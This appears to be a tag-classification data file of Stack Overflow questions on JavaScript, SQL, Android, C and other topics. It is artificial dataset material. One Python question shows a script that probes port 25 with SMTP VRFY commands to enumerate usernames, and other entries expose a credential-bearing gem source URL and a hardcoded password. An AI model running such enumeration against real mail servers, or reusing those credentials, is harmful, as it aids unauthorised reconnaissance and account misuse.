vanilla javascript: how to stand (hover) on an object   say you have an html object that when you stand on (with the mouse)  a menu gets opened.     you don t have to click anything  you just move the mouse on top of that html element (to hover on it)  then just about the end of your mouse cursor  a menu will be opened.    a <em>mouseover</em> possible result.   <h2>my question</h2>   if i have the element s css selector and i targeted this way:   <pre><code>document.queryselector( .myelement ); </code></pre>   how could i <strong>emulate</strong> a mouseover     out of curiosity tried this:    document.queryselector( .myelement ).mouseover();    but i got:   <blockquote>    typeerror: document.queryselector(...).mouseover is not a function  </blockquote>   i expected something like this because i always saw people using <code>click()</code> but not <code>mouseover()</code>.    maybe i should just do addeventlistener();,javascript
how to take two lists and combine them excluding any duplicates   i d like to make one list from two separate lists of unique items.    there are other similar questions but there didn t seem to be any that concerned doing this problem effectively since the lists are a few million items long.    totally unrelated: am i the only one who hates how the tags suggestion box covers up the  post your question  button,python
launching msil exe as a 32-bit process on 64-bit windows  i d like to be able to distribute one version of an executable that a user can configure to run as either 32-bit or 64-bit.  the service would have a 32-bit host process that would read configuration and launch new processes as 32 or 64-bit.  what i haven t determined is how/if a executable targeted for any cpu can be launched as a 32-bit process under 64-bit windows.,.net
conditional filter on ng-repeat  i had seen several question about adding conditions to a filter of a ng-repeat  and none of those options had worked for me    i have the following custom filter   <pre><code>app.filter( customfilter   function () {     return function (collection  type  seq) {         return !collection   [] : collection.filter(function (item) {             return (type ===  dl  &amp;&amp; item.del_seq === seq) || (type ===  pu  &amp;&amp; item.pu_seq === seq)         });     } }); </code></pre>   and and this is on my directive   <pre><code>&lt;tr ng-repear-start= parent in parentcollection &gt;   &lt;td&gt; do stuff with parent collection items info &lt;/td&gt; &lt;/tr&gt; &lt;tr ng-repeat-end=  &gt;    &lt;td colspan= 100 &gt;        &lt;table&gt;            &lt;tr ng-repeat= child in childcollection | customfilter: parent.type:parent.seq &gt;               &lt;td&gt;do stuff with child info&lt;/td&gt;            &lt;/tr&gt;        &lt;/table&gt;    &lt;/td&gt; &lt;/tr&gt; </code></pre>   and this work perfectly  but i wanted to know  if there a way to do so using a simple filter     i tried to do the following   <pre><code>&lt;tr ng-repeat= child in childcollection | filter: (parent.type ===  pu    child.pu_seq: child.dl_seq) === parent.seq &gt; </code></pre>   but it didn t work. think it s possible without a custom     edit: as requested  this a sample json and also  adjusted the html for a better idea   <pre><code>parentcollection = [{seq: 1  type: pu } {seq: 2  type: pu } {seq: 3  type: pu } {seq: 4  type: dl }]; childcollection = [{pu_seq: 1  dl_seq:4} {pu_seq: 2  dl_seq:4} {pu_seq: 3  dl_seq:4}] </code></pre>   the outcome would be that  parent[0] will have a detail row with child[0]  parent[1] with child[1]  parent[2] with child[2] and parent[3] will have the 3 childs as details  as all 3 have a dl_seq:4  and parent[4] is a dl and it s seq it s 4,angularjs
c code - why the output returned unexpected value in my code   i am a  c starter and just learned the basis of programming. when i practiced coding  i noticed something weird about the unexpected output that i don t know the reasons for it and can t even describe what the problem is.    <pre><code>#include  stdio.h  #include  stdlib.h  #include  string.h   int main() {   int numberentered = 0;   int index = 0;   char input[32];   int totalnum = 0;   int x = 1;   int array[x];    printf( please enter the size of the array:  );   fgets(input 32 stdin);   x = atoi(input);    for(index =0; index &lt; x; index++)   {       printf( \nplease enter your number: );       fgets(input 32 stdin);        numberentered = atoi(input);       printf( the number you entered is : %d\n  numberentered);         array[index] = numberentered;        totalnum ++;    }    for(index = 0; index &lt; totalnum; index++)   {       printf( array[%d] = %d\n  index array[index]);   }     return 0; } </code></pre>   while user input an x = 15; and users then enter numbers from 1 to 15; the output was:   <pre><code>array[0] = 1 array[1] = 2 array[2] = 3 array[3] = 4 array[4] = 5 array[5] = 6 array[6] = 7 array[7] = 668977 array[8] = 9 array[9] = 10 array[10] = 11 array[11] = 12 array[12] = 13 array[13] = 14 array[14] = 15 </code></pre>   i originally expect that the array[7] should give me an output of array[7] = 8  since the number  8  is what the users typed. however  it changed to random numbers. i would like to know the reason for that.,c
variable assignments inside for and then if loops  for the following working code  i resorted to creating a class instance to store the name variable of my file output [a_string] and the file object itself [f_object]. i found that variables assigned inside the first if statement did not appear in the scope inside the following elif statement.   <pre><code>#text file splitter  data bewteen the  *  lines are copied into new files.  class output_file():     def __init__(self a_string= none  f_object= none ):         self.name=a_string         self.foutput=f_object  outputfile=output_file()  n=0 filehandle=open( original file.txt ) for line in filehandle:      if line[0]== * : #find the  *  that splits the rows of data         n+=1         outputfile.name =  original file_ +str(n)+ .txt          outputfile.foutput= open(outputfile.name  w )         outputfile.foutput.write(line)      elif len(line.split()) ==5 and n &gt; 0: #make sure the bulk data occurs in blocks of 5         outputfile.foutput= open(outputfile.name  a+ )         outputfile.foutput.write(line)   outputfile.foutput.close() </code></pre>   do i have to use a class instance to store the file name and object or is there a better way,python
how can i prevent duplicate values in sql   i can t think of a good title for this question but here goes..    i have this sql query   <pre><code>select   j.srv_job_id    c.unit_cost * c.qty as cost_price    e.serial_no from   srv_job j   left join srv_job_cost c       on c.srv_job_id       = j.srv_job_id   left join srv_job_equipment je on je.srv_job_id      = j.srv_job_id   left join srv_equipment e      on e.srv_equipment_id = je.srv_equipment_id where   j.srv_job_id = 52423 </code></pre>   which is somewhat simplified for the purpose of the question  and gives these results;   <pre><code>srv_job_id  cost_price serial_no 52423       89         400887 52423       89         400888 52423       89         400889 </code></pre>   because there is one job with an id of 52423 and a cost of 89  but there are three associated serial numbers.    there is nothing wrong with the result  but it is misleading because it looks like each serial number has a cost of 89  when in fact the total cost for all three is 89.    how can i prevent the cost of 89 being duplicated  i can t change the database schema  but i can change the query.    the result i would like would be   <pre><code>srv_job_id  cost_price serial_no 52423       89         400887 52423       null       400888 52423       null       400889 </code></pre>,sql
how to store values in metavalue  i am making jobseeker website and there i had created candidate profile page manually but the problem is my theme getting search and all home page showing result of listing from my theme default profile page.    now i am trying to interlink my own candidate table with theme default table.    the default candidate data is been stored in database as post type :resume.    how can i store my own data in postmeta.    please help.    if you need more expalnation please reply. i will explain it.,sql
date picker dialog date format  i have a datepickerdialog in my app. in the title of the dialog  the current selected date is displayed as  jan 30  2012 . i wish to have the date in the title displayed like in this dialog: <a href= http://www.mkyong.com/wp-content/uploads/2011/11/android-datepicker-demo2.png  rel= nofollow >http://www.mkyong.com/wp-content/uploads/2011/11/android-datepicker-demo2.png</a> (i.e. with a  day ).    how is this achieved,android
"multiple images with figure tag with 45% width each images  i want add 5 images using figure and figcaption tag. i want show 2 images on page using width 45%. i am doing for 2 days but 2nd image not floating left.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>figure {
   margin: 0;
   float: left;
 }
 
 .container img {
   width: 45%;
 }
 
 figcaption {
   width: 30%;
   float: left;
   clear: right;
   display: inline;
 }
 
 .clearfix::after {
   content: “”;
   display: table;
   clear: both;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= container clearfix &gt;
   &lt;figure class= imgcol &gt;
     &lt;figcaption&gt; experimentation with color and texture. &lt;/figcaption&gt;
     &lt;img src=   alt= irfan web developer  /&gt;
 
     &lt;figcaption&gt; playing with blending mode in photoshop. &lt;/figcaption&gt;
     &lt;img src=   alt= irfan web developer  /&gt;
 
     &lt;figcaption&gt; trying to create 80 s style glow. &lt;/figcaption&gt;
     &lt;img src=   alt= irfan web developer  /&gt;
 
     &lt;figcaption&gt; drips created using photoshop brushes &lt;/figcaption&gt;
     &lt;img src=   alt= irfan web developer  /&gt;
 
     &lt;figcaption&gt; creating shapes using repetition. &lt;/figcaption&gt;
     &lt;img src=   alt= irfan web developer  /&gt;
   &lt;/figure&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
segmentation fault (core dumped) using char*  i am new to c programming. i am getting segmentation fault (core dumped) when i am<br>     trying to print the string. please help.     <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; int main() {   char *ptr;   strcpy(ptr   mystring );   printf(  %s\n   ptr);  return 0; } </code></pre>,c
c++ prj0019 error  i am getting an error while running a vc++ program. actually i dont have any idea about the program. its given to me by my manager just run it. can anyone help me. the error i got is     i ran a program called slycorba and getting the below error. i have no idea what it meant.    error   1   error prj0019: a tool returned an error code from  building idl,c++
why can t i store information from this php object   i am trying to store a specific string from a php object called <code>$json</code>  which is the json_decoded response from a web service i call.  in the course of debugging my problem  i echo out a serialized version of the string i am trying to store.  this displays <code>s:12: 392-445-9987 ;</code>  which is exactly what i want.  it is a string of length 12  and is the correct value.  however when i try to assign it to <code>$number</code> the code dies and never reaches the next line.   <pre><code>if(isset($json-&gt;addressservice-&gt;response-&gt;phones)) {    echo  &lt;textarea rows=50 cols=100&gt;  . serialize($json-&gt;addressservice-&gt;response-&gt;phones[0]-&gt;phone_number) .  &lt;/textarea&gt; ;    $number = $json-&gt;addressservice-&gt;response-&gt;phones[0]-&gt;phone_number;    echo  i never reach this line! ; } </code></pre>   what am i missing   how do i save the string to the variable     thank so much for any thoughts you have.,php
how to find out the dependency of a table in sql  is there is any way to find out the dependency of a table. i mean to say which stored procedure is affecting data of the table.,sql
iframe with google.com not working on w3school tryit editor <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/8700636/how-to-show-google-com-in-an-iframe >how to show google.com in an iframe </a>    </blockquote>     i am a newbie to html. i am learning the html tag  iframe . i understand it s the way to embed page in another page. but i try to play it in w3school editor change the url to www.google.com  it doesn t work:    <a href= http://www.w3schools.com/tags/tryit.asp filename=tryhtml_iframe  rel= nofollow noreferrer >http://www.w3schools.com/tags/tryit.asp filename=tryhtml_iframe</a>    can anyone tell me why. thanks in advance.,html
random int illegualargumentexception  i am using this code to using a random generator to generate random positions.    but i keep getting this error    <pre><code>11-06 21:33:07.364: error/androidruntime(12796): java.lang.illegalargumentexception 11-06 21:33:07.364: error/androidruntime(12796):     at java.util.random.nextint(random.java:186) </code></pre>   here is the code i am using.   <pre><code>private void addface() {      random rand = new random();          float x = (int) roof.getheight() + mballtextureregion.getwidth();         float miny = mballtextureregion.getheight();         float maxy = (int)(roof.getheight() - mballtextureregion.getheight());         float rangey = maxy - miny;                      //the error points here         float y = rand.nextint((int)rangey) + miny; </code></pre>,android
classcast exception in java  cannot cast to ljava.lang.integer  i am trying to use java generics-   <pre><code> public t[] toarray()    {         t[] result = (t[])new object[numberofentries];          // some code here to fill the resultarray         return result;    } // end toarray </code></pre>   now in my main funciton  this is what i am doing-   <pre><code>        a&lt;integer&gt; obj= new a&lt;integer&gt; ();          obj.add(1); //add method not shown here as it is not relevant to question         obj.add(2);         obj.add(3);         obj.add(4);           integer arr[] = (integer[]) obj.toarray(); </code></pre>   i get the following error-   <pre><code>exception in thread  main  java.lang.classcastexception: [ljava.lang.object; cannot be cast to [ljava.lang.integer;     at tester.main(tester.java:14) </code></pre>   how can i fix this,java
how to disable all the nslog in xcode 5 in ios   i have so many nslog(@ .. ); in xcode for print the value. so when i release the app i want to disable all nslog in my xcode instead of doing //nslog.    i have 2 questions.   <ol> <li> when i use nslog that time it show the result like below..   <pre><code>2014-08-07 12:29:29.609 myapp_name[4694:70b] phonenumber:1234567890 2014-08-07 12:29:29.611 myapp_name[4694:70b] username: myname </code></pre></li> </ol>   but i don t like this type of output. i want only show the output like :   <pre><code>    phonenumber:1234567890     username: myname </code></pre>   2.totally disable the nslog  when i release the app.,ios
angular.copy  the text doesn t go through  on one html page i have this:    <pre><code>&lt;md-button data-ng-if= true                      aria-label= note full screen                         class= wm-note-builder-panel-button                          ga-track-event= [ notes    click    fullscreen ]                         data-ng-click= notefullscreen()                          &gt;                    &lt;ng-md-icon  icon= fullscreen   size= 16 &gt;&lt;/ng-md-icon&gt;                 &lt;/md-button&gt; </code></pre>   this html leads to this html :    <pre><code> &lt;pre&gt;{{editnote.note_value|json}}&lt;/pre&gt;     &lt;/div&gt;     &lt;div&gt;     &lt;textarea  wm-elastic-text-area               rows= 5                class= textarea               ng-model= noteedit.note_value                ng-style= { min-height :((noteedit.note_value.split( \n ).length - 1) * 18 + 75) +  px }               &gt;&lt;/textarea&gt;     &lt;div flex=   layout= row  layout-align= end end &gt;                     &lt;div&gt;&lt;md-button                          style= padding: 11px;                                 width: 42px;                                 height: 42px;                         class= md-fab                         data-ng-style= { background-color : (!noteedit.note_value || noteedit.note_value.trim().length === 0) &amp;&amp;  rgba(0  0  0  0.33) }                          ng-disabled= !noteedit.note_value || noteedit.note_value.trim().length === 0                          aria-label= add note                          ng-click= addnotefromextendedmode()                             ga-track-event= [ note-fullscreen    click    add note ]                          ng-if= noteedit.note_value!==0                          ng-add=                            &gt;                         &lt;ng-md-icon icon= send  style= fill:white;  size= 20 &gt;&lt;/ng-md-icon&gt;                       &lt;/md-button&gt;                     &lt;/div&gt;                 &lt;/div&gt; </code></pre>   this is the relevant stuff in my controller..    <pre><code>$scope.notefullscreen=function(event){                              $mddialog.show({                             controller: dialognotefullscreencontroller                              templateurl:  views/schedule/note-fullscreen.html                               targetevent:event                              locals: {                                 editnote: angular.copy($scope.noteedit)                              }                                   }).then(function () {                              }  function () {                              });                       };   $scope.$on( onextendednoteadd   function(event  data) {                          $scope.noteedit=data;                         console.log(data);                          $scope.addnote();                        });                     //################################                 //   dialogcontroller                 //################################                       function dialognotefullscreencontroller($rootscope  $scope  $mddialog editnote) {                         $scope.editnote = editnote;                        $scope.editnote.note_value = editnote.note_value ||   ;                       $scope.hideextenednote = function () {                         $mddialog.hide();                     };                      $scope.cancelextenednote = function () {                         $mddialog.cancel();                     };                      $scope.answerextenednote = function (answer) {                         $mddialog.hide(answer);                     };                     $scope.addnotefromextendedmode= function(){                        $rootscope.$broadcast( onextendednoteadd    $scope.editnote);                     };                    }                       }]); </code></pre>   my problem is that on the pre - json no info appear to come as if the editnote doesn t send anything back.. i tried many different things but i guess im not solving it my self...,angularjs
finding  related posts  in a database  so quick question: i m working on adding  related posts  for my site  using my own custom cms i built. right now i m trying to have it done in a single sql query  where it would return the 3 top results. i don t use tags btw. this is what i came up with so far  and it s doing a decent result  but i d like to somehow prioritize keywords that appear in titles versus descriptions. anyone can think of a better way    <pre><code>select * from db where title like  %keyword1%  or title like  %keyword2%  or description like  %keyword1%  or description like  %keyword2%  limit 3; </code></pre>,sql
how to execute multiple cammand in command prompt using c#  i want to execute multiple commands as below:    cd c:\informatica\9.0\clients\powercenterclient\client\bin    pmrep    connect -r rs_01_lab -d domain_dellbanpdb01 -n etl_designer -x etl123    using c#...    and i have written a code as below:    <pre><code>        process p = new process();         processstartinfo info = new processstartinfo( cmd.exe );         info.redirectstandardinput = true;         info.useshellexecute = false;          p.startinfo = info;         p.start();          using (streamwriter sw = p.standardinput)         {                 if (sw.basestream.canwrite)                 {                     sw.writeline( cd c:\informatica\9.0\clients\powercenterclien\client\bin );                     sw.writeline( pmrep );                     sw.writeline( connect -r rs_01_lab -d domain_dellbanpdb01 -n etl_designer -x etl123 );                     streamreader sr = p.standardoutput;                     string mystring = sr.readtoend();                      sw.writeline( mypassword );                     sw.writeline( use mydb; );                 }         } </code></pre>   but i am not able to write the command in command prompt .    can you please help me regarding this.    thanks in advance  sunayana,.net
css - change border-color of div within anchor:hover  i have a div contained within an anchor like so:   <pre><code>&lt;a class= chk  href= href &gt;   &lt;div class= chk-div &gt;&lt;/div&gt; text here &lt;/a&gt; </code></pre>   i want it so that when you hover over the <code>&lt;a&gt;</code>  the border-color of the child <code>&lt;div&gt;</code> changes.  i know you can do it simply for the div like so:   <pre><code>.chk-div:hover {   border-color: green; } </code></pre>   but i want it to change when you hover over the text also,css
message during gem install - socketerror: nodename nor servname provided  anytime i install a gem  i see following warnings:   <pre><code>warning:  error fetching data: socketerror: getaddrinfo: nodename nor servname provided  or not known (http://swapna_sony_at_gmail_com:9eea6c960d@modules.locomotivecms.com/specs.4.8.gz) warning:  error fetching data: socketerror: getaddrinfo: nodename nor servname provided  or not known (http://swapna_sony_at_gmail_com:9eea6c960d@modules.locomotivecms.com/latest_specs.4.8.gz) </code></pre>   the gem installation continues after the message and succeeds. i am just wondering what this message means. is there a config file that contains all server addresses where the installer will go look for the gem and i have somehow got the locomotive address in it,ruby-on-rails
paint unicode java  i got stuck in java at the paint method. printing out special letters with <code>system.out</code> will work but not if i m trying to paint it with <code>g.drawstring()</code>.    this will work:    <pre><code>system.out.println( \u2197 ); </code></pre>   this will not:    <pre><code>g.drawstring( \u2197   20  20); </code></pre>   i m getting only rectangles on my screen but not the sign.,java
questions regarding performance of swap  i have three questions regarding swapping  most likely pretty basic to you.    (1) with regards to two same type stl containers <code>a</code> and <code>b</code>  both operations below would work   <pre><code>swap(a b); a.swap(b); </code></pre>   i understand that the second is specialized for the container (e.g.  only involves a number of iterator swaps) while the first is a global algorithm meant to work with generic datatypes and performs an internal copy-construct.    my question is if i write the first  will the compiler use the second regardless  or do i have to be careful to check if an appropriate specialization exists     (2) would <code>swap(a b)</code> result in the same performance with <code>swap(b a)</code>   if a copy-construct is involved and the objects are of considerably different size  i suspect it may matter     (3) in cases where the overloaded operator <code>==</code> exists and is relatively fast  checking for <code>a == b</code> before swapping would make sense so as to avoid unnecessary operations.  does <code>std::swap</code> apply this check first  or does it perform the operation regardless     thanks for your time!,c++
i am creating pem file for push notification but i am getting error  <pre><code>openssl pkcs12 -nocerts -out pushchatkey.pem -in /users/akshay/desktop/n/pushchat.p12  </code></pre>   664:error:0d07207b:asn1 encoding routines:asn1_get_object:header too long:/sourcecache/openssl098/openssl098-47.2/src/crypto/asn1/asn1_lib.c:150: akshays-mac-mini:desktop akshay$ openssl pkcs12 -nocerts -out pushchatkey.pemopenssl pkcs12 -nocerts -out pushchatkey.pem -in/users/akshay/desktop/n/pushchat.p12,ios
indexing a text column  i have created an index on an id column  however i need to create some type of index or find a solution for when i am searching a text column for a like    its taking forever to execute the like query on this text column because there are hundreds of thousands of rows.    i dont think i can just create an index on it  can i  what is the proper way to optimize this,mysql
conditional statement on declaring global const variable objective c  i m using a private sdk i can only declare one const global variable called     const unsigned char kitapplicationkey[]= {0x1b 0 etc.}     i would like to check one condition (a bool variable that i save in user default in the appdelagate) and modify the kitapplicationkey depending on the bool value    something like that     dash if mybool true (i don t know how to write that)    const unsigned char kitapplicationkey[]= {0x1b 0 etc.} dash  else const unsigned char kitapplicationkey[]= {0x2c 0x1b etc.} dash    endif    can you please help me    thank you,objective-c
is it wrong to modify the list i am looping over if that s what i want   i ve read many times that it is a bad idea to loop over a list that you re modifying in the loop body  and for good reason. does that also hold true in a case where   <ol> <li>i am only appending new elements to the list  not removing items;</li> <li>this is a behaviour that i actually want </li> </ol>   here s my code: the  search  method is meant to collect the payload of all nodes that have the target label  apart from those that are descendants of nodes with the target label.   <pre><code>class tree:     def __init__(self  label  payload  children):         self.label = label # string         self.payload = payload # some kind of data carried by the node         self.children = children # list of trees      def search(self  target):         nodes = [self]         result = []         for node in nodes:             if node.label == target:                 result.append(node.payload)             else:                 nodes += node.children         return result </code></pre>   is there anything wrong with this example  i could of course turn this into a recursive function or a while loop  but this seems the most elegant way (and i won t run into python s recursion depth limit).,python
app crashes after i made changes to it  my app was running fine until today i made some changes and im getting forced close.    here is the logcat    <pre><code>     03-20 21:11:05.441: d/dalvikvm(515): gc_external_alloc freed 95k  51% free 2680k/5379k  external 2037k/2137k  paused 75ms 03-20 21:11:06.070: w/resourcetype(515): skipping entry 0x7f02000f in package table 0 because it is not complex! 03-20 21:11:06.080: w/resourcetype(515): skipping entry 0x7f02000f in package table 0 because it is not complex!    03-20 21:11:06.080: w/resourcetype(515): skipping entry 0x7f02000f in package table 0 because      it      is not complex! 03-20 21:11:06.080: w/resourcetype(515): skipping entry 0x7f02000f in package table 0 because it is not complex! 03-20 21:11:06.080: w/resourcetype(515): skipping entry 0x7f02000f in package table 0 because it is not complex! 03-20 21:11:06.110: w/resourcetype(515): skipping entry 0x7f02000f in package table 0 because it is not complex! 03-20 21:11:06.110: w/resourcetype(515): skipping entry 0x7f02000f in package table 0 because it is not complex! 03-20 21:11:06.110: w/resourcetype(515): skipping entry 0x7f02000f in package table 0 because it is not complex! 03-20 21:11:06.121: w/resourcetype(515): skipping entry 0x7f02000f in package table 0 because it is not complex! 03-20 21:11:06.121: w/resourcetype(515): skipping entry 0x7f02000f in package table 0 because it is not complex! 03-20 21:11:06.170: d/androidruntime(515): shutting down vm 03-20 21:11:06.170: w/dalvikvm(515): threadid=1: thread exiting with uncaught exception (group=0x40015560) 03-20 21:11:06.190: e/androidruntime(515): fatal exception: main 03-20 21:11:06.190: e/androidruntime(515): java.lang.runtimeexception: unable to start activity componentinfo{com.indianic.demo.calendark/com.indianic.demo.calendark.abc}: java.lang.nullpointerexception 03-20 21:11:06.190: e/androidruntime(515):  at android.app.activitythread.performlaunchactivity(activitythread.java:1647) 03-20 21:11:06.190: e/androidruntime(515):  at android.app.activitythread.handlelaunchactivity(activitythread.java:1663) 03-20 21:11:06.190: e/androidruntime(515):  at android.app.activitythread.access$1500(activitythread.java:117) 03-20 21:11:06.190: e/androidruntime(515):  at android.app.activitythread$h.handlemessage(activitythread.java:931) 03-20 21:11:06.190: e/androidruntime(515):  at android.os.handler.dispatchmessage(handler.java:99) 03-20 21:11:06.190: e/androidruntime(515):  at android.os.looper.loop(looper.java:123) 03-20 21:11:06.190: e/androidruntime(515):  at android.app.activitythread.main(activitythread.java:3683) 03-20 21:11:06.190: e/androidruntime(515):  at java.lang.reflect.method.invokenative(native method) 03-20 21:11:06.190: e/androidruntime(515):  at java.lang.reflect.method.invoke(method.java:507) 03-20 21:11:06.190: e/androidruntime(515):  at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:839) 03-20 21:11:06.190: e/androidruntime(515):  at com.android.internal.os.zygoteinit.main(zygoteinit.java:597) 03-20 21:11:06.190: e/androidruntime(515):  at dalvik.system.nativestart.main(native method) 03-20 21:11:06.190: e/androidruntime(515): caused by: java.lang.nullpointerexception 03-20 21:11:06.190: e/androidruntime(515):  at com.indianic.demo.calendark.abc.oncreate(abc.java:221) 03-20 21:11:06.190: e/androidruntime(515):  at android.app.instrumentation.callactivityoncreate(instrumentation.java:1047) 03-20 21:11:06.190: e/androidruntime(515):  at android.app.activitythread.performlaunchactivity(activitythread.java:1611) 03-20 21:11:06.190: e/androidruntime(515):  ... 11 more 03-20 21:11:08.470: i/process(515): sending signal. pid: 515 sig: 9 </code></pre>   here is the java code  <a href= http://www.mediafire.com/view/ ud3lizq4kduz1dc  rel= nofollow >http://www.mediafire.com/view/ ud3lizq4kduz1dc</a><br> im unable to upload code here    thank you @codemagic  the prob was with the button5 comment :),android
removing the preview added table row dynamically  i have a table with few rows and i m adding to each row the onclick eventhanlder which creating a new tr as next element:   <pre><code>$(this).after( &lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td colspan= 8 &gt;                          + $(this)                        .find( td:eq(1) )                        .text() +  &lt;/td&gt;&lt;/tr&gt; ); </code></pre>   this workng fine.    but i would like to remove the tr i just created by clicking on the next tr (in this case it s the third tr).    i need something like: $(this).before( tr ).remove() ;-)    could u pls. help     cheers amin,jquery
dd-mmm hh:mm  versus  dd-mmm hh:mm   i am trying to apply date mask on date entered by user. i come across the following two statements.    <strong>hh</strong> hours; leading zero for single-digit hours (24-hour clock). <strong>mm</strong>minutes; leading zero for single-digit minutes.    when i use small (mm) i get the correct result but when i use mm it adds 3 minutes to minutes entered by user.    so  what is the difference between following two date masks    mask 1:   <pre><code>dd-mmm hh:mm </code></pre>   mask 2:   <pre><code>dd-mmm hh:mm </code></pre>,javascript
why is catching eofexception not enough to know the input s finished   a few days ago i asked a question about reading from file until the input has finished. i ve received some responses which i studied  but i have one question somehow relevant to the topic: why do i have to use some additional tests   finally  clause and another try-catch there instead of just:   <pre><code>datainputstream reading = null; try{         reading = new datainputstream(new fileinputstream( tes.t ));         while(true)         {             system.out.println(reading.readint());             system.out.println(reading.readdouble());         }         }catch(ioexception xxx){system.err.println( error:   + reading.getmessage());}          catch(eofexception xxx){reading.close();} </code></pre>   why is this not enough  i mean - as soon as we reach eof  we ll have an exception. otherwise  we catch the exception and print the error message. why do we need additional tests  what s wrong with this approach     edit: ok  i now understand why it s a bad thing. but what about if i made the code like this:   <pre><code>datainputstream reading = null; try{         reading = new datainputstream(new fileinputstream( tes.t ));         while(reading.available()!=0)         {             system.out.println(reading.readint());             system.out.println(reading.readdouble());         }         }catch(eofexception xxx){}          catch(ioexception xxx){system.err.println( error:   + reading.getmessage());} </code></pre>   is checking the value of reading.available() a better test for the input end or just as bad,java
python - s.recv hang timeout  i have a script that i am currently writing to connect to a host via port 25. once connected the following code is used to read a text file to gather each user and then issue the vrfy command along with the username. this works really well until i receive no response back from the host  it just hangs there. towards the bottom of my code i have tried to break out if no response is received but this does not work. i have tried several ways to get it to work without any luck.    thanks in advance!   <pre><code>with open( usernames.txt ) as f:     for users in f:          if users ==   :             break         else:             try:                 s.send( vrfy   + users)                 result=s.recv(1024)                 print result             except socket.timeout:                 print ipaddress +   is not responding to vrfy commands                  break </code></pre>,python
why this javascript form submission script don t work   i am very new in javascript and i have the following problem.    i have this form:   <pre><code>&lt;form id= actionbutton  action= salwf.do serv=1  method= post &gt;     &lt;button id= accept  name= ctrl  value= accept  type= submit  class= acceptbutton  onclick= sottometti(this) &gt;accept icon button&lt;/button&gt;     &lt;button id= cancel  name= ctrl  value= cancel  type= submit  class= cancelbutton  onclick= sottometti(this) &gt;cancel icon button&lt;/button&gt;     &lt;button id= sap  name= ctrl  value= sap  type= submit  class= sapbutton  onclick= sottometti(this) &gt;sap icon button&lt;/button&gt;      &lt;input id= testid  name= test  type= hidden &gt; &lt;/form&gt; </code></pre>   as you can see this form contains 3 different button. clicking on one of this button it is performed the <strong>sottometti(this)</strong> javascript script  that have the following code:   <pre><code>function sottometti(obj){     //document.getelementbyid( testid ).value = obj.value;     document.getelementbyid( testid ).value = obj.value[id]     document.getelementbyid( actionbutton ).submit() } </code></pre>   this script should submit the previous form (the id of the clicked button) but it don t work. why     i think that it is trying to retrieve an <strong>actionbutton</strong> that is not present in my form code.    can you help me to make it work,javascript
how can i determine a time duration  notice: this is advanced sql... (imho)    summary of what i am trying to do:    i have an application that puts data into the db with a time stamp.  what i would like to do is look at that data  in a chronological fashion  and determine the duration between a  start  and  stop  point    here is userroaddata table:   <pre><code>    create table [dbo].[userroaddata](         [indx] [uniqueidentifier] not null          [indx_user] [uniqueidentifier] not null          [indx_roadpoint] [uniqueidentifier] not null          [timehit] [datetime] not null          [indx_userroaddatastatus] [int] not null       constraint [pk_userroaddata] primary key clustered  </code></pre>   here is roadpoints table:   <pre><code>    create table [dbo].[roadpoints](         [indx] [uniqueidentifier] not null          [indx_road] [uniqueidentifier] not null          [indx_pointtype] [int] not null          [sequence] [int] not null          [segmentnumber] [int] not null          [geoloc] [geography] not null       constraint [pk_roadpoints] primary key clustered  </code></pre>   i have the following query that attempts to determine durations ( note: @notprocessed = 0 at this point )   <pre><code>        declare @now datetime         set @now = getdate();          with cte_1 as(          select                 indx_roadpoint                  indx_road                  segmentnumber                  indx_userroaddatastatus                  case when indx_pointtype = @segmentstart then timehit                     else null                 end as intime                  case when indx_pointtype = @segmentend then timehit                     else null                 end as outtime                  row_number() over ( order by timehit asc ) as rownum                 from                 userroaddata inner join roadpoints on userroaddata.indx_roadpoint = roadpoints.indx                  where                  indx_user = @indx_user                 and                 indx_road = @indx_road                 and                 indx_userroaddatastatus = @notprocessed                 )             cte_2 -- mark those that repeat             as ( select                 t.indx_roadpoint                  t.indx_road                  t.segmentnumber                  t.intime                  t.outtime                  t.rownum                  case when ( select indx_roadpoint                               from cte_1 as x                               where x.rownum = t.rownum - 1                             ) = t.indx_roadpoint then 1                        else 0                   end as mrk                  from cte_1 as t                )             cte_3 --extract non repeats and group             as ( select                   *                   row_number() over ( partition by indx_roadpoint order by rownum asc ) as rn2                  from cte_2                  where  mrk = 0                )       select         newid() as indx  -- this table needs to have the same columns as userridedata          t1.indx_road          @indx_user as indx_user          t1.segmentnumber          t1.intime          t2.outtime          datediff(ss  t1.intime  t2.outtime) as duration          @now as daterecorded        into #roadandroaddata  -- results are put into a temp table...        from         cte_3 as t1         join cte_3 as t2 on t1.rn2 = t2.rn2       where         t1.intime is not null         and t2.outtime is not null        group by         t1.indx_road          t1.segmentnumber          t1.intime          t2.outtime    -- insert the temp table data into the real table  insert into dbo.userridedata select * from #roadandroaddata </code></pre>   here is the entire output for the cte_1 statement  it contains the right data ! guids (indx) have been shortened to protect the innocent :-)   <pre><code>indx    indx_road   segment status  intime  outtime rownum  87502c53    28992b99    0   0   null    null    1 17bb6691    28992b99    0   0   null    null    2 c40fd10f    28992b99    1   0   2014-06-11 09:09:11.200 null    3 7bc5d0a6    28992b99    1   0   null    null    4 97ba8f20    28992b99    1   0   null    null    5 75a3f916    28992b99    1   0   null    null    6 fa2b73e5    28992b99    1   0   null    null    7 d1e16249    28992b99    1   0   null    null    8 bab45a3c    28992b99    1   0   null    null    9 0ec3d9ad    28992b99    1   0   null    null    10 3a0baf2a    28992b99    1   0   null    null    11 5b97f78a    28992b99    1   0   null    2014-06-11 09:09:20.200 12 e55c20c5    28992b99    2   0   2014-06-11 09:09:21.200 null    13 fbc14e4e    28992b99    2   0   null    null    14 5396d1ff    28992b99    2   0   null    null    15 63d5f64b    28992b99    2   0   null    null    16 a463f4fa    28992b99    2   0   null    2014-06-11 09:09:25.200 17 f6a528d8    28992b99    0   0   null    null    18 1d73335d    28992b99    0   0   null    null    19 </code></pre>   as you can see there is a start time  then an end time for each unique segment eg:   <pre><code> segment 1 indx c40fd10f has a non null start time  segment 1 indx 5b97f78a has a non null stop time  --- ( pair 1 )  segment 2 indx e55c20c5 has a non null start time  segment 2 indx 